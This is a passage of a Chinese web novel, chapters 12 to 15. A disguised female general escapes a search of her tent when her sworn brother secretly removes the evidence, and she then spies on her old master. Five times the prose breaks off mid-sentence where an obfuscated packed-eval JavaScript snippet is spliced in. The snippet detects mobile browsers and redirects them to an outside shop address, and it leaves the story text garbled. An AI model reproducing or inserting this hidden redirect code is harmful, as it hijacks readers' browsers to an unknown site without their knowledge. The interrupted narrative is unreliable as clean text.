裴祥光嘴角刚要上扬,就听得她话锋一转,“但我在乱葬岗找到了杨承的尸体,有被鞭打的痕迹。昨晚那人替另一人阻拦追兵,显然两人目的相同,盗尸是为了鞭尸,可不是为了好生安葬。” 裴祥光张着嘴,无话可说。 帐内气氛凝重。 众人都不由得看向帐中唯一能对此事下决断的总督,却见他眼帘微垂,唇边噙着一抹笑意,手指在匕首柄上缓缓摩挲,不知在想些什么。 姜子循沉吟着开口:“谢执法,这都只是你的推测,证据呢?” “我正是来拿证据的。”谢思礼目光如炬,“请将军准许。” 姜六航:“……证据在哪里?” 谢思礼:“应该是在将军的帐篷里。” 姜六航瞳孔骤缩。 那件夜行衣! 早知如此,拼着只穿着里衣在路上奔跑的不自在,当时也该把外衣脱了,和那把剑一起扔了的! 想着过后再处理,哪想到谢思礼来这样快! 这顿打,看来是躲不过了。 不甘心啊! 她又没抽杨承的鞭子,却要白挨一顿打。 实在逃不过的话,只能和谢思礼打个商量,三天后再行刑。 这个谢思礼肯定会通融的。 “裴将军说,交手时见那人右肩、右袖各有一道狭长划口。若那人是将军,剑大概在回来的路上扔了,但衣裳也许来不及处理。”谢思礼一拱手,“请将军容许我进账搜一搜。是不是那衣裳,裴将军一看便知。” 裴佑恍然,心道:“非要拉着我来,合着是让我来指证将军的。” “那怎么行?”裴祥光立即反对,“仅凭一点猜测就要搜查将军的帐篷,哪有这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659694|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理?” 他加重语气,很是不满:“再说,即便将军真盗了杨承尸体又如何?难道还要为这一点小事责罚将军?” 谢思礼声音平静,却毫不退让:“当初定下法规时,说过人人都要遵守。” 裴祥光气得直揪山羊须。 帐内劝解声、争论声四起,乱作一团。 谢思礼指尖探入袖中,触到一块坚硬物件。 玄铁令。 将军替她求来的。 她初掌刑查、执法职权的时候,多有阻挠,将军替她向总督求来玄铁令。凭此令,铁骨军势力范围内,她可以搜查任何地方,抓捕任何她怀疑的人。 但二十次之后,需得归还玄铁令。 用一次,少一次。 谢思礼捏着玄铁令的边缘,心中有些犹豫。 姜六航早窥见了她手上的动作,摆手道:“别吵了,谢执法你去搜吧。” 谢思礼松开玄铁令,郑重一礼:“谢将军体谅。” 999在姜六航脑中炸开:“宿主!她搜到衣服真罚你啊?” 姜六航:“嗯。” 999:“怎么罚?” 姜六航:“打军棍。” 999:“啊?那你受伤了,需要时间养伤,会耽搁去做任务啊啊啊!” 姜六航没理会系统的哀嚎。 谢思礼欲要起身。 “且慢。”一直没说话的秦信忽然开口,他看了姜六航一眼,再望向谢思礼,脸上的笑温煦融和,“若那人是将军,谢执法怎样判罚?” 谢思礼沉吟了一下,回道:“虽未亲手鞭尸,但助人逃逸,间接造成了鞭尸的后果,该当领受军法。身为将军,不能以身作则,反倒带头违反军规,当重罚三十军棍。” 帐篷里一片哗然。 秦信握紧匕首,指节发白,面上的笑容却没有一丝变化,点头赞道:“判得公允。”说着语气一转,“但将军帐中多有机密,非十分信任者不能进去,人数也需控制。” 他站起身,目光扫过众人,“我算一个。谢执法,你再点两人,足矣。” 谢思礼略一思索,点了姜子循与冯简。 四人径直向姜六航营帐而去。 众人纷纷起身跟随。 裴祥光拽住女儿裴佑,压低声音骂:“你胡乱说什么话?要不是你多嘴说那人像将军,谢执法也不会查到将军头上来。” 裴佑十分无辜:“我只说身形像,又没说他是将军。” “你就不该说那话,扯出将军干什么?”裴祥光很是忧愁,“将军肯定对你有意见了。” 裴佑浑然不觉她爹的心思,满不在乎道:“将军不是那样小心眼的人。” 看着女儿一脸无知无觉的模样,裴祥光暗自寻思,得尽快和女儿说明白,免得她糊里糊涂的,错失良机。 队伍末尾,沈以贵也在拉着石进低声说话:“昨夜将军回来时,那衣裳上,到底有没有划口?” 石进摇头:“我没看清,你呢?” 沈以贵眉头紧锁:“我也没看清。” 12. 第 12 章 一路上,前去搜查的四人,除了谢思礼,其他三人为了避嫌,都不和姜六航靠近,更不和她说话。 姜六航干脆不往四人身边凑,走在后面的人堆里。 众人都安慰她。 “谢执法就是这个较真的性子,将军你别放在心上,等会她搜不出衣裳,自然不会再盯着将军。” “其实杨承恶贯满盈,害死了多少人,那些死者的亲属恨不过,打他几鞭子也情有可原。不过是我们有军规在先,不好这样做罢了。” “如果不是铁骨军的人,就算鞭尸被捉住,谢执法也不会打他军棍,最多拘两日意思一下。” “是啊是啊,谢执法其实不是不通情理的人,就是对违反军规的格外严格。” 有人觑着她的脸色,压低声音道:“将军若真是那人,也不必担心,行刑的兄弟们手里有数,保管看着惨烈,其实不伤筋骨。将军再运功挡一挡,那就更没什么事了。养上两三天,伤就好了。” 姜六航:“……” 999很高兴:“还能这样?” 姜六航:“想得美,当谢思礼是傻子呢?她那样聪明的人,这点猫腻看不出?放水?等着一起趴下挨揍吧!运功?你挡一下,她能多加十棍,看你骨头硬还是她规矩硬!” 正说着,忽有一人道:“不知那个把杨承背去乱葬岗鞭尸的,到底是谁?” “还能是谁?兰州破山剑黄超呗!” “对对对,肯定是他。谢执法不是说他来了这里?定是来看仇人砍头,不甘心,鞭尸泄愤!” 999好奇地问:“宿主,是他吗?” 姜六航没应声。 众人议论得更热闹了。 文士武将,此刻倒有了共同话题。只因这事当年闹得很大,不管是在士林还是在江湖,都掀起轩然大波。 “破山剑黄超是条好汉,重情重义!姜允、徐真夫妇被杨贼所害,他五年来一直伺机为好友报仇,万千军中,舍命刺杀,几度险死还生,真豪杰!” “姜、徐二人也是奇士!杨承破城,只要他们写文作画歌功颂德便饶他们性命,两人不肯,大骂杨贼,慨然受死。何等慷慨!何等豪气!何等英雄!” “可惜他们在时,我不识得他们,不然怎么都要相交一场!” “云山居士姜允,文章一出,士人争相传诵,柳溪居士徐真,千金难买她一画,可惜两位大才,死于杨承之手。” “可叹如此人物,生的女儿却是贪生怕死,在杀父杀母的仇人面前,跪地求饶,摇尾乞怜。” “更可恨的是,她并非弱女,而是以一己之力,剑挑八盟十二帮的赤霄剑客!仇人在前,毫无防备,她一剑便可了结,杨承也不会后来又害了那么多人,她却……呸!” “若非破山剑黄超揭穿她真面目,世人还被这无耻之徒蒙在鼓里!” 裴佑握着白虹剑柄,眼神复杂:“十五岁名震南地,被奉为盟主,百年难遇的奇才啊。”她眼中闪过一丝向往,“不知她现今在哪里?真想见识一下她的剑法。” 立刻有人嗤笑:“她做出那样的事,躲着还来不及,哪还敢现面?裴将军是见不到她咯!裴将军想见识如意剑法,可以去寻她的师父破山剑黄超。” 裴佑很是心动:“我等会儿就去寻他!” 姜六航:!!! 麻烦了! 三年前,她结合上辈子学的霹雳刀法,以及这辈子学的如意剑法,取两者的精华,融合刀意、剑意,自创一套剑法,暗中教授给裴佑。 昨晚和裴佑对招,她用的如意剑法,而和师父对招,她用的自创剑法。 这两人一碰面,一过招,可不就什么秘密都揭开了吗? 在她想着时,议论还在继续。 “不过都说赤霄剑客青出于蓝而胜于蓝,她师父剑法不如她。” “空有绝顶剑法,却无半分骨气!” “姜允、徐真若是泉下有知,怕要气活过来掐死这女儿!” “窝囊废!” “软骨头!” 唾骂声浪潮般涌来,姜六航苦中作乐地想:“骂吧、骂吧!比起五年前,这是小场面,不值一提。” 五年前,大江南北,士林、武林,处处都是这样的骂声。就连闹市中的偷儿,牢笼里的囚犯,提起来都要骂几句以示不齿。 顾老先生、傅大儒、后林真人孟峻先后作文讨伐,天下文人墨客紧随其后。那一年,凡是痛骂赤霄剑客的文章,只要文笔稍可,都能迅速广泛流传,骂得越狠,传得越广。 破山剑放出话来,把这个徒儿逐出门墙,要捉住她废去武功。 江湖中更有悬赏令、追杀令传布,要除掉她这个丢尽江湖颜面的无耻之人。 她如过街的老鼠,人人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659695|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊打,只得换了一张龙影面具,改换名姓,又扮作男子,这才投入到大哥的和州军中。 就在此起彼伏的骂声中,目的地到了。 四人进到帐篷,其余人留在外面。 姜六航已经听天由命,一派安然。 两个近卫观她面色,见她很是镇定,两人对视一眼,心中都想:“莫非昨晚那盗尸的人真不是将军?将军是去做别的事?” 四人进去了好一会还没出来,众人都盯着帐篷口,心中暗暗猜测,将军帐篷里到底有没有那套衣裳?若有,进去的四人能不能搜出来? “宿主,他们会找到衣裳吗?”999焦急地问。 姜六航慢吞吞回道:“大约是能的。” 999心存侥幸:“啊?不会吧?那床头的暗柜机关很是精巧啊。” 是很精巧,缝隙隐在雕纹里,凭眼睛看不出来,摸也摸不出来,非得要按着机关,才能打开柜子。 可惜的是,进去的人里,有三个都知道那柜子。 姜六航把三个人在心里过了一遍。 大哥不会主动揭露,或许还会替她掩饰一二,冯简肯定看大哥脸色行事,姜大人……姜大人曾见过一次她从那里面取物,而她和姜大人并无甚私交,想必不会替她隐瞒。 况且还有谢思礼。 谢思礼干了数年刑查工作,眼力虽比不上专业的,却也不可小觑。若是她仔细探查,未必不能发现端倪。 所以,十之八九,那件衣裳会被找出来。 —— 帐篷里摆设一目了然。 一床、一柜、两桌、两箱、几把椅子,屏风后是洗漱用具。 谢思礼先往床榻去,被褥掀开,垫被两头折起,干干净净,什么也没有。 她站在床前,目光一寸寸扫过床架、床头雕花,指尖无意识地拂过那些深浅不一的纹路。 姜子循的视线也落在那看似寻常的床头。他知道,那里有个精巧的暗柜。将军的秘密,多半在其中。这里四人,唯有谢思礼不知。她能发现吗? 姜子循正静观事态发展,忽觉一道锐利目光落在身上。 左侧方,总督斜斜瞥过来,脸上仍然是温润的笑容,目光里却含着戒备、审视,还有显而易见的警告。 姜子循视线下落,见到总督紧握匕首的手,指节因用力而泛白,手背上青筋凸起。 13. 第 13 章 姜子循抬眼对秦信笑了一下,然后挪开视线,闲闲地看向床上,姿态轻松。 “这床被子,”他指了指床上,语气随意,“就是用滁州所出的棉花做的?” 秦信一顿。 被子送来后,姜子循特意来此观察了一番,这时却表现出毫不知情的模样。 “正是。”秦信顺着话头接了下去,“这作物只滁州边界偶尔可见,野生野长,开出的花洁白如云,人们只做观赏用。不是将军说,谁会想到处理后竟有这般妙用?” 谢思礼被吸引注意力,目光转到被子上,问了几句,还上手摸了摸。 这可是利国利民的好物。 三人说了一会关于棉花的种植、处理以及推广等,谢思礼转身离开。 秦信松开匕首,手心里出了一层汗,不动声色地在衣裳上擦了擦。 谢思礼又去检查衣箱。 冯简帮着打开衣箱,伸手去取里面的衣物。 秦信皱眉,只觉那双手无比碍眼,一步抢上前去,蹲下身,胳膊挡在箱子口,从底下格开冯简的手,道:“我来。” 他让冯简搬来一把椅子,亲手把箱子里的衣物一件件取出,若有黑色衣物则展开,给三人看过后再叠好放到椅子上。 两个衣箱翻遍,也没见到裴佑所说的那件黑色夜行衣。 书柜、书桌里也没找到,只在衣柜深处翻出一个装着锁链布条的包裹,众人不明所以地放了回去。 帐篷里能藏东西的地方都找遍了。 姜子循看向谢思礼,问道:“谢执法,你看,还要找吗?” 谢思礼目光再次扫过帐篷的每一个角落,最终摇头:“走吧。” 谢思礼与姜子循转身走向门口。秦信站在原地,指着那堆叠放在椅子上的衣物,语气自然:“你们先走,我替将军把衣物归置好。” 确定两人出了帐篷,秦信紧绷的肩背微微松弛,给冯简递了个眼色。冯简会意,无声地移到门口,警惕着外面的动静。 秦信再不迟疑,疾步走到床头,按下开关,推开暗柜。他探手进去,抓出一个包裹。解开系绳,里面是一块蒙面黑布,以及一件黑色夜行衣。 展开来,衣裳的肩头、袖子上赫然两道划口,历历在目。 —— 帐篷外的人已经等了好一会了,他们都很关心,要看一个结果,所以不是有紧急事非走不可的人都留了下来。 忽然,帐篷门帘掀起,两个人走出来。 是谢思礼和姜子循。 众人连忙围上去,纷纷发问:“找到衣裳了吗?” “总督和冯近卫呢?” 姜六航看向两人的手,都空着。 谢思礼走到她面前,行礼道:“得罪将军,是我误判了。” 999的欢呼在脑中炸开:“宿主!他们没找到!" 姜六航满心疑惑,下意识看向姜子循,那人儒雅的脸上含着微微笑意,没有一丝异样,见她看过来,朝她颔首道:“总督和冯近卫在整理翻过的衣物,随后就出来。” 姜六航又看了他好几眼,才迟疑着“哦”了一声。 出乎意料地逃过一顿打,虽然不明原由,姜六航也不由得满心欣喜。 一瞬间,她已经把后面一段时间的行动全部计划好。 当务之急,阻止裴佑见师父! 明天闭关,出来后立即坦白女子身份。 半年后,朝野也应该基本稳定了,她再以真面目见人——总不能一辈子戴着面具。同时,和师父、从庸叔叔相认,请大哥明发诏书,全天下搜寻爹娘的尸骨。 …… 爹娘大仇已报,前途又一片光明,这一刻,虽然身体里疼痛不止,姜六航却只觉无比轻松。 事情有了结果,众人各自散去。 姜六航叫住裴佑,对她道:“我明天闭关,从此刻开始,军务暂时由你督管。” 她刻意交代了许多繁琐且需亲力亲为的事务,直说得口干舌燥,足足一盏茶时间还没停下。 裴佑:“……” 姜六航看看她的脸色:“怎么,有难处?” 裴佑迟疑道:“我本打算今天就去见识一下如意剑法。”她顿了一下,马上又道,“没事,等将军闭关出来我再去。”希望破山剑黄超那时还在梁州没走。 姜六航笑道:“那行,唐将军和严将军明天出征,这里的事,只能多辛苦你。” 终于搞定了迫在眉睫的危机! 虽说她有苦衷,但师父嫉恶如仇,不一定会听她解释。 到时天下都会知道,姜帅竟然就是那个人人喊打个个鄙弃的赤霄剑客,只怕立即就会掀起一阵比五年前更大的波澜。 如今天下还经不起这样的动荡。 不过……姜六航看了看裴佑,有些不确定地想:“裴佑这个武痴,不会拼着不睡觉,也要挤出时间去寻师父吧?” 为了保险起见,还是要调开师父,让两人没有碰面的机会。 裴佑走后,姜六航看向帐篷口。 大哥和冯简还没出来。 她让两个近卫自去做事,一个人进了帐篷。 进来后,她第一眼就朝床头看去——暗柜没打开,床上被褥也和先前一样铺着。 冯简站在书桌旁整理文书,大哥正合上衣箱,放回原处。 “大哥。”她唤一声,走过去。 秦信闻声回头,对她温和地笑道:“翻动的东西都给你照原样放好了。” “多谢大哥。”她道。 这句似乎成了她的口头禅,秦信也听惯了这句话,没有多说,只让姜六航一起去他的帐篷吃午饭。 姜六航答应,费力找了个理由:“大哥你先走一步,让他们把饭菜摆好,我擦个脸,马上就来。” 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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—— 回到自己的帐篷,秦信屏退左右,只留下冯简。 他脱下外衣,把紧紧围裹在胸腹间的衣裳取下来。先前时间紧,没来得及细看,这会儿他拿起衣裳,指尖细细抚过划口边缘,上上下下里里外外地查看。 衣裳上沾着泥土灰尘,但没有血迹。 一直悬着的心终于落下。 冯简见总督检查完毕,上前一步,低声道:“总督,属下这就拿去烧了?” 秦信攥紧衣裳。 他抬眸,脸上惯常的温润笑意已消失殆尽,轮廓分明的脸显出强硬和锐利,眸中幽沉如深潭,让人看不清情绪。 触到总督意味不明的眸光,冯简隐约觉得自己说错了话,会错了意,但他不知错在哪里。 “晚上提桶干净的水到帐篷来。”秦信的声音听不出情绪,“我把衣裳洗干净,烤干。” 冯简:“……啊?哦,是!” 他转身去喊人来摆饭菜,脑中还在转着总督刚才的吩咐,怎么都想不明白。 这衣裳是将军违反军规的铁证,难道不该赶快销毁吗?为何还要洗? 还有,总督话里的意思,是要亲自动手洗那衣裳? 14. 第 14 章 姜六航踏入总督营帐。 秦信抬眼看过来,神色如常,笑着道:“来了?坐,马上开饭。”那语气,仿佛刚刚到她帐中搜查,又悄然拿走那套衣裳的事从未发生。 他不提,姜六航也只能按下满腹疑问,垂眸坐下,指尖无意识地蜷了蜷。 近卫动作麻利地摆好饭菜,很快退了出去,帐内只剩下两人。 “大哥,刚才搜查……”姜六航试探着开口。 “六航,”秦信打断她,深邃的眼眸看过来,带着安抚,“刚才只是一场误会,过去了就不要再想了。” 他将一碟糖醋鲤鱼推到她面前,自然地转了话头:“不是爱吃这个?多吃点。” 姜六航喉间的话被堵了回去,应了一声“好”,夹了一块鱼肉。 她有点明白大哥为何这样了。 她触犯军规,大哥徇私包庇,彼此心照不宣便是,哪能明说出来? 那套衣裳,想必是大哥怕她处置不当留下痕迹,拿走替她销毁了。 这样想着,她放下此事,专心地享用起美食。 秦信替两人盛好饭,有一句没一句地与义弟聊着些军中琐事,布菜添汤,目光不由得在其脸上留连。 义弟胃口很好,吃几筷子菜,再吃一大口饭,腮帮子微微鼓起,淡红的唇上沾了一点油渍,润泽诱人。 一股邪火猛地窜上小腹。 他想抬手,用指腹擦去那点油光,更甚,想俯身,用舌尖…… 目光一颤,如同被烫到般仓促收回。他猛地抓起手边的茶杯,仰头狠狠灌了几口。 冰凉的茶水滑入喉咙,激得他一个冷颤,勉强浇熄了骤然腾起的燥热,余下一片冰冷的狼狈。 义弟若是知晓他方才脑中闪过的那些不堪念头,会毫不犹豫地挥拳相向,狠揍他一顿,然后从此恩断义绝吧? 视线避开义弟,又不受控制地飘向床榻。 床上枕头下压着的,是带着她气息的衣裳,被他紧紧缠绕在身,贴身带回……他顿住思绪,再次举起茶杯。 “大哥,你很渴?”姜六航抬眼,正撞见身边人灌茶的动作,眉头不由得地蹙起。 秦信放下杯子,掩饰地咳了一声,声音有些沙哑地道:“嗯,有点。” “那茶都冷透了!这个时节喝冷茶容易伤胃。又不是战时没条件。”姜六航不赞同地看着他,“我让人换热的来?或者喝这羊肉汤也成,还暖身子。” 那纯粹的关心像一盆冷水,兜头浇下,彻底熄灭了秦信心底隐秘的火焰。 他握紧拳,面上露出惯常的温润笑容:“好,听你的,喝汤。” 姜六航立即动手舀了两碗热腾腾的羊肉汤,一人一碗。 刚捧起汤碗,帐外传来冯简的声音:“总督,有报。” “进来。” 冯简掀帘进来,禀道:“总督,查到雁门霸王枪连战、兰州破山剑黄超、会州逍遥剑贾录三人的住址了。” 姜六航心头一跳,握着汤匙的手指下意识收紧,目光飞快地在冯简和秦信之间扫过。 她正打算饭后去侦察部探听师父的住址,大哥怎么就先一步查了?倒是省了她的事。只是大哥为何突然关注起这个? 秦信一眼看出她的疑惑,解释道:“盗尸的事提醒了我,这些身怀绝技的江湖人,放任不管恐成隐患。从前无暇顾及,如今需加强监管。日后建国,也得有专门的章程约束江湖。” 姜六航暗自松了口气,点头应是。 原来如此。 大哥并不是起了什么疑心,而是一向思虑周全、深远,已经想到建国后的治安问题了。 秦信转向冯简:“地址呢?” 冯简利落地报出三个地址。 姜六航竖着耳朵听着,听到师父的住处时,她在心里默念了两遍。 报完地址,冯简却没离开,接着道:“还有两人,也来了梁州府城,虽不以武功见长,在江湖上也是赫赫有名的人物。” “谁?”秦信问。 “一个是鬼手神医孙从庸。” 姜六航脑中“嗡”的一声:从庸叔叔!他也来了?! 被这一惊吓,她手里的汤勺猛地磕在碗沿,“铛啷”一声脆响在帐内传开。 突如其来的声响立刻引来了秦信和冯简的目光。 “没烫着吧?”秦信关切地问。 “没有。”姜六航强自镇定地回道。 秦信视线在她手上转了一圈,见她确实无事,这才转向冯简,问道:“鬼手神医是何人?” 冯简忙解释:“传说此人师承神秘莫测的药王谷,医术毒术都出神入化,性情却极古怪,救人全凭心意。他与云山居士、柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659697|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溪居士,还有破山剑是至交好友,这次来梁州,和破山剑住在一起。” 秦信微微颔首:“另一人呢?” “另一人是神偷方三。此人身手诡秘,来去无踪,江湖中无人知其真面目。他只要出手,一定在现场的墙上留下‘方三’名号。鬼手神医正是追着他来的梁州。” 方三! 姜六航心虚地几乎要将整张脸埋进碗里,扒了一大口饭塞进嘴里,食不知味地嚼着,一边凝神听着帐中两人说话。 秦信略一转念,已经想通其中关节,绕有兴致地问:“哦?方三偷了鬼手神医何物?” “一颗增气丹、三颗回春丹、一张龙影面具。”冯简脸上露出神往之色,“这三样都是稀世珍宝。增气丹能提升武者两成功力,回春丹号称能从阎王手里抢人,那龙影面具更是神奇,戴上即可改头换面,天衣无缝,据传材质来自深海蛟龙……” 冯简后面关于面具如何透气舒服的描述,姜六航一个字也没听进去,她碰了碰衣袖,那里面两颗小小的药丸仿佛在隔着香囊布料烫着她的手臂。 秦信对那面具显然兴趣不大,却很在意那两种丹,对冯简道:“增气丹和回春丹,鬼手神医手上可还有?若有,不惜代价买下。” 冯简惋惜地摇头:“总督,这三样东西材料罕见,制作极难,鬼手神医耗费十几年心血才得这么些,全叫方三偷走了。” 秦信:“……难怪鬼手神医穷追不舍。”他顿了顿,追问道,“方三踪迹可有线索?” “没有。此人精于隐匿,化身万千,真假难辨。这次失主请了高手追踪,便是那位霸王枪连战,追到府城也断了线索。” 秦信指节轻叩桌面:“传令侦察部,全力搜捕方三,找到后,看他偷的东西还在不在,若丹药未用……”他沉声道,“让他交出来。” 姜六航指尖颤了一下。 糟了! 大哥盯上了方三,盯上了那被盗的丹药。 这一查,会不会扯出葫芦连着叶,最终查到她的头上? “属下明白!”冯简领命,躬身退下。 一顿饭吃得姜六航心绪不宁。 饭后,两人各自出门,秦信去安排明日姜六航闭关的地方,姜六航则借口巡查,直奔府城。 她要去把师父引开梁州,以免被裴佑撞上了。 15. 第 15 章 为了不引起怀疑,姜六航先在城墙上巡查了一会,然后才走下城墙,说要到城内去巡查。 两名近卫下意识跟上。 “你们留下。”姜六航道,“我去去就回,今天还要返营,你们就在这儿等着。” 两人顿住脚步,抱拳领命。 作为将军的亲随,他们更多的职责是传令与处理庶务。至于护卫,将军武功绝顶,天下没有能伤将军的人。将军有时独自行动,他们也很放心。 姜六航戴上帷帽,把刀用布包裹起来。 两个近卫对她这番举动都习以为常。 将军的这张脸和这把刀都太有辨识度,所以将军在街头行走,不想被人认出来时,都如此做一番掩饰。 此时是申时初(下午三点多钟),深秋的阳光还有一点暖意,洒在府城街道上。 攻占后的混乱已平息,杨承的军队被收编、遣散、安抚,铁骨军的秩序正在取代杨承的暴虐。 经历过伤痛、生离死别、数不清磨难的百姓们缓过一口气,开始千方百计地寻求生机。他们补种冬麦,种菜,给人浆洗衣裳,到码头扛运货物,做小吃兜卖。 他们像野草,被践踏过后,又顽强地生长起来。 姜六航先寻了一家成衣铺,买了一套不起眼的黑色衣裳换上。出了店铺,走了一段,她在一家饭铺前停下。 一个穿着长衫的文士摆着张桌子替人写信,见姜六航戴着帷帽,也没露出异色。江湖中人常有如此打扮的,不算奇怪。 “侠士想给谁写信?写什么?”长衫文士问。 姜六航拿出五个铜板放到桌上:“我自己写,只借你纸笔一用。” “那用不着五个铜板。”文士道。 “拿着吧。”姜六航道,“我去买纸笔可不止这个钱。” 她原准备在军营里写好,但谢思礼突然来搜查夜行衣,一番折腾,她就没顾得上写信了。现在只当是为梁州经济繁荣做点贡献。 姜六航铺开纸,把纸的前头折过来竖起挡住别人的视线,那文士却十分乖觉,转头望向别处,根本不朝姜六航的纸上望。 姜六航提起笔,一挥而就。 999结巴着问:“宿、宿主,你这是写给谁的?” 姜六航:“给你想的那个人。” “真、真的?”999战战兢兢问:“宿主……你要干什么?” “你不是猜到了吗?”姜六航把纸放入怀中,走上街道。 一路上999都在试图劝说她返回。 “宿主、宿主,别啊!要是被发现,会有麻烦的。上次盗尸刚刚蒙混过去,别又惹出事来了。” “宿主,我们回去吧,回去吧。” 姜六航:“再吵我就禁你言。” 999:“……” 穿过两条街道,拐入一条幽深的小巷,越走越是偏僻,最后,姜六航停在一座宅院面前。 这座宅子很大,但院墙陈旧,屋宇暗淡,门柱上的红漆剥落,显然久未有人居住。 师父和从庸叔叔找的好地方,隐僻偏远,无人来往,倒是方便了她行动。 侧耳听了听,里面没有动静。 姜六航再不迟疑,双脚在地上用力一蹬,翻身跃上围墙。 翻上围墙的同时,双眼快速地在院内一扫。 墙下是一大片荒芜的土地,原先可能是个花园,但现在野草丛生,只零星地点缀着几朵蔫蔫的花。往东头去,有一进进的院落。 院子里很安静,像没人住着似的。 姜六航跳下墙来,无声无息地穿过荒园,小心翼翼地一间房子一间房子地搜寻过去。其实这等事晚上做更易隐匿行踪,但时间来不及了,晚上她要为明天的闭关做准备。 房间里都没人,眼见快要搜到院子的尽头,姜六航心里正想着莫非师父和从庸叔叔恰好都出门了,突然听见前头的一间屋子里传出人语声,她赶紧窜过去,矮身躲在窗下。 屋子里有两个人在说话。 “被铁骨军发现了?不会追到这里来吧?” “放心,我绕了好几圈,确定没人跟着。” 姜六航屏住呼吸,指甲在窗纸上戳开一个小洞,往里看去。 从庸叔叔坐在一个小凳子上,面前地上放着一个药盆,从庸叔叔双手持着一根木棍,一上一下地杵动。 她的目光定在药盆侧面,那上面刻着一个小小的“彳”,正是她六岁时淘气用匕首划上去的。 鼻尖蓦地一阵酸楚。 五年了,从庸叔叔还在用着这药盆。 从前,她常常蹲在从庸叔叔脚边,帮着从庸叔叔用这药盆捣药。 师父坐在从庸叔叔对面,破山剑横放在膝头。 昨夜和师父碰面,乱葬岗上,师父鞭打杨承尸首后,解下蒙面巾痛哭。可她那时心情激荡,没仔细看师父面容。 此时才发现,师父比五年前苍老了许多,右颊添了一道狰狞的疤痕,从耳根斜划至下颌。 五年间,数次听到师父刺杀杨承的消息。可杨承有千军万马保护,师父没能成功,反而屡次受伤。这伤疤,应该就是在刺杀中留下的。 “你是说,那人眼睛像衡儿?”屋内,孙从庸捣着药,追问。 “对,很像。”黄超道,“但我后来看清了,不是她。那人是个男子,使的也不是如意剑法。”他恨恨道,“要真是她,我就是丢了杨承尸首,也要先废去那个逆徒的武功!” “衡儿做了什么十恶不赦的事,你要废她武功?!”孙从庸霍然抬头,眼中怒火喷发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659698|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黄超猛地一掌拍在桌上:“你还说,你看她做的什么好事?杨承是她的杀父杀母仇人,她朝他下跪,给他磕头!” “跪一下怎么了?磕几个头怎么了?当时的情况,她不跪不磕头就要死!” “死也不能做出那等丑事!” 孙从庸抓起木棍狠狠砸进药盆,药汁四溅:“我要她活着!只要她活着,怎样都行!” 只要她活着! 这句话冲入姜六航耳内,让她胸腔里蓦地窜起一股热流,手指收紧。 屋内,孙从庸冷笑道:“外头人骂我见死不救,心肠狠毒,我看你才是真狠!那是允哥和真姐捧在手心里养大的衡儿,是我们看着长大的孩子,你怎么忍心要她死?” “不是我要她死,她爹娘宁死也不肯屈从恶贼,她怎能为了活命就屈服?允兄和真姐在天有灵,也绝不会再认这个女儿!” “你又不是他们,怎知他们不认?允兄和真姐自来把衡儿看得比命还重,一定和我一样,只愿衡儿活着。” “黄超,你给我听好了,”孙从庸眼神阴鸷,一字一顿,“你敢动衡儿一根指头,我就先把你毒翻,让你一辈子躺着,省得去害衡儿!” 窗外的姜六航见着从庸叔叔不分青红皂白,帮亲不帮理,一力维护自己的模样,忽然想起当年江湖中发出几道针对她的追杀令,不久从庸叔叔传出话来,不撤回追杀令者,日后不论患病、受伤、还是中毒,都不必去求他,他不会为这些人看诊。 后来那些追杀令大多都默默地撤回了。 “你!你!简直不可理喻!” 屋内,黄超气得浑身发抖,指着孙从庸,半晌说不出话,起身在屋子里困兽般团团转,呼呼喘气。 孙从庸尤嫌不够,火上浇油:“就是你,到处嚷嚷要废衡儿武功,吓得她五年不敢露面,音讯全无。黄超,我跟你说,要是衡儿在外面有个好歹,我跟你没完!” “啊!”黄超满腔的怒火和憋屈找不到出口,大吼一声,突地转身,却不往离得远的门口去,一剑劈向近旁的窗户。 “咔!!” 